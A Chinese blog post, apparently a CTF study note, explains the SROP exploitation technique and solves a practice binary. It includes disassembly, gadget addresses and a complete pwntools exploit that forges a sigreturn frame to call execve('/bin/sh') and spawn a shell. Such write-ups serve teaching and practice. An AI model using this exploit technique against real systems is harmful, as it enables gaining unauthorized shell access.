srop

srop

1、srop攻击原理

传统ROP技术在使用过程中往往需要构造复杂的ROP链,而srop技术的提出简化了一些攻击流程

SROP(Sigreturn Oriented Programming)

是指利用signal机制的特性来直接改变寄存器状态从而通过syscall来调用如execve函数执行/bin/sh从而获得shell

所谓的signal是指当一个用户层进程发起signal时,控制权切到内核层,内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn,rt_sigreturn执行完,跳到内核层,内核恢复中保存的进程上下文,控制权交给用户层进程,过程可参考下图:

img

可以想到,我们使用ROP的本意就是通过连续的寄存器状态变化和ret来实现寄存器状态改变的同时调用函数,使得它能够执行我们预想的参数,如果利用上述特性,我们只需要在signal的过程中构造出寄存器状态即可实现函数参数的输入,最后把这一套返回给用户层。

重点:内核恢复②中保存的进程上下文,控制权交给用户层进程

因此如何构造这一串寄存器状态是重点,而pwntools中提供了现成的函数:

from pwn import *
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rax = 0#这里一般调用execve,填入59
frame.rdi = 0#填入execve执行的参数,也就是binsh的地址
frame.rsi = 0#0
frame.rdx = 0#0

在程序中,这一串表示rt_sigreturn

mov rdi, 0
mov rsp, rsi
mov rax, 15 ; sys_rt_sigaction

可以看到调用signal的rax调用号是15(转成0xF了也要认识)

下图是signal发生时保留的栈状态:

img

可以看到,我们想要实现攻击的话就需要把这几个关键的寄存器填入参数

用户态的Signal Handler函数出马,对进程P接收到的signal进行处理,具体怎么处理的我们不用管,和SROP攻击无关。

当Signal Handler函数处理完signal后,栈指针寄存器sp(64位是rsp,32位是esp)会指向进程P之前保存的sigFrame的栈顶,即rt_sigreturn所在的位置。

Signal Handler函数最后一个指令是ret,会将3中栈指针寄存器sp指向的rt_sigreturn中的内容,“pop”给指令寄存器ip(64位是rip,32位是eip,这里用pop是想说此时sp也会加一个机器字长,即指向rt_sigreturn内存地址加一个机器字长的位置,根据上图,64位sp此时应指向uc_flags),此时指令寄存器ip处在sigreturn系统调用代码的位置,触发sigreturn系统调用。这样,sigreturn会根据sigFrame中的内容将进程P恢复原状,让P继续执行。

仅为执行过程,可以参考作为理解和深入研究

总结一下攻击成功的前提是:

  1. 可以通过栈溢出控制栈上的内容。
  2. 需要知道栈地址,从而知道如传入的“/bin/sh”字符串的地址。
  3. 需要知道syscall的地址。
  4. 需要知道sigreturn的内存地址。

在遇到更多复杂情况时,其实参考ROPchain,我们也可以构造SROPchain,即第一次劫持数据流之后修改返回地址为syscall;ret继续gadget即可,如下:

img

在实际操作是,如果有之前提及的sigreturn触发代码的话,就直接调用即可,没有的话我们将rax的值改为15也同样生效(前提是syscall没有被ban)

有个小知识,程序在调用call之后的返回值一般是保存在rax中的,所以我们可以通过执行read之后的读入的字符长度,来控制rax的值,实现任意函数的系统调用

在pwntools中,定义了一种常量constants.SYS_function,function可替代为具体的函数,这个常量的值就是在该系统中的函数调用号

2、例题理解

源于某人给我发的一题,刚好是非常纯粹的考SROP,可以作为入门题理解和套模板。

看反编译结果:

signed __int64 start()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax
  char v3[8]; // [rsp+0h] [rbp-8h] BYREF

  v0 = sys_write(1u, &msg, 0x3AuLL);
  v1 = sys_read(0, v3, 0x400uLL);
  return sys_write(1u, v3, 8uLL);
}

同时按照前面所说的条件我们来看看汇编码:

.text:0000000000401000                 sub     rsp, 8
.text:0000000000401004                 mov     eax, 1
.text:0000000000401009                 mov     edi, 1          ; fd
.text:000000000040100E                 mov     rsi, offset msg ; buf
.text:0000000000401018                 mov     edx, 3Ah ; ':'  ; count
.text:000000000040101D                 syscall                 ; LINUX - sys_write
.text:000000000040101F                 mov     eax, 0
.text:0000000000401024                 mov     edi, 0          ; fd
.text:0000000000401029                 mov     rsi, rsp        ; buf
.text:000000000040102C                 mov     edx, 400h       ; count
.text:0000000000401031                 syscall                 ; LINUX - sys_read
.text:0000000000401033                 mov     edx, 8          ; count
.text:0000000000401038                 mov     eax, 1
.text:000000000040103D                 mov     edi, 1          ; fd
.text:0000000000401042                 mov     rsi, rsp        ; buf
.text:0000000000401045                 syscall                 ; LINUX - sys_write
.text:0000000000401047                 pop     rbp
.text:0000000000401048                 retn
.text:0000000000401048 _start          endp
.text:0000000000401048
.text:0000000000401049 ; ---------------------------------------------------------------------------
.text:0000000000401049                 pop     rsi
.text:000000000040104A                 pop     rax
.text:000000000040104B                 retn
.text:000000000040104B _text           ends

溢出是够的,syscall是有的,rax的相关指令也可以找到(pop rax)那么我们就可以调用signal实现用户内核转换并伪写寄存器状态从而调用execve(bin/sh),首先payload:

payload=b'a'*8+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)

先来看逻辑,注意汇编程序0x401048处pop rbp在这里将rbppop出去,所以我们不能写成payload=b'a'*16+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)(这是后来调试出来的结果)

如图:

image-20250412084040571
此时rsp指向为8个a,但是这里执行了pop rbp,将rsp指向的内容给了rbp,同时rsp+8到ret addr处,然后才开始执行pop rax,此时再写入15系统调用signal:

image-20250412084240501

可以看到rbp为aaaaaaaa,而rsp指向ret,它的内容就是poprax的地址

老实说我一开始没理解这个,后来调试的时候才恍然大悟,一定要把这些实际怎么执行的问题搞明白才能做出来

然后不要忘记pop rax之后ret到syscall的地址才会调用signal,我前几次写的时候也忘记了导致没打通。。。

frame的倒是简单,根据前面的原理来构建即可,对了,注意到程序里面已经有了/bin/sh的地址,所以说比较简单,不然还要写入bin/sh到栈上更麻烦。

最终exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn01')
p = process('./pwn01')
sys_ret=0x401031
bin_sh=0x40203A
pop_rax=0x40104A
gdb.attach(p)
pause()
frame=SigreturnFrame()
frame.rax=59#constants.SYS_execve
frame.rdi=bin_sh
frame.rsi=0
frame.rdx=0
frame.rip=sys_ret
payload = b'a'*8+p64(pop_rax)+p64(15)+p64(sys_ret)+bytes(frame)
p.send(payload)
pause()
p.interactive()

image-20250412084707787

打通完成。

posted @ 2025-04-14 15:23  w0e6x  阅读(70)  评论(0)    收藏  举报